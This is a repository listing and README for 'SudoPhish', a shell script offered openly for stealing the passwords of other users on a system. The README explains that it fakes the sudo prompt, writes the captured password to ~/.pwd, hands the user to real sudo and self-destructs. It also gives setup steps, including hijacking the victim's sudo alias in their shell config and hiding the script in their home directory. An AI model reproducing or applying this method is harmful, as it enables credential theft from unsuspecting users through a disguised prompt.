https://github.com/michaeldim02/sudophish
A short script to phish passwords on your system
https://github.com/michaeldim02/sudophish
Last synced: about 1 year ago
JSON representation
A short script to phish passwords on your system
- Host: GitHub
- URL: https://github.com/michaeldim02/sudophish
- Owner: MichaelDim02
- License: gpl-3.0
- Created: 2021-07-08T08:24:29.000Z (almost 5 years ago)
- Default Branch: main
- Last Pushed: 2021-07-08T20:53:29.000Z (almost 5 years ago)
- Last Synced: 2025-02-12T06:57:26.927Z (over 1 year ago)
- Language: Shell
- Size: 25.4 KB
- Stars: 1
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# SudoPhish
A short self-destructive script to phish the passwords of the users on your system.
# What it does
+ It pretends to be the Sudo password prompt and asks the victim for their password
+ Saves the password in a text file ( ```~/.pwd``` )
+ Redirects the user to real sudo
+ Self-destructs
# How to set up manually
+ Make sure you edit the shabang according to the users interactive SH. If they use bash, make sure the script starts with ```#!/bin/bash```, if they use zsh, then make sure it starts with ```#!/bin/zsh``` etc. It does not work with fish. Default is bash.
+ Set the ```$shellfile``` variable accordingly (line 21). Default is ```".bashrc"```
+ Put the following line at the END of the Shell config file: ``` alias sudo=".sp.sh; sudo" ```
+ Move the file to the victims home directory, rename it to ```.sp.sh``` and give it executable permission with ```chmod +x .sp.sh```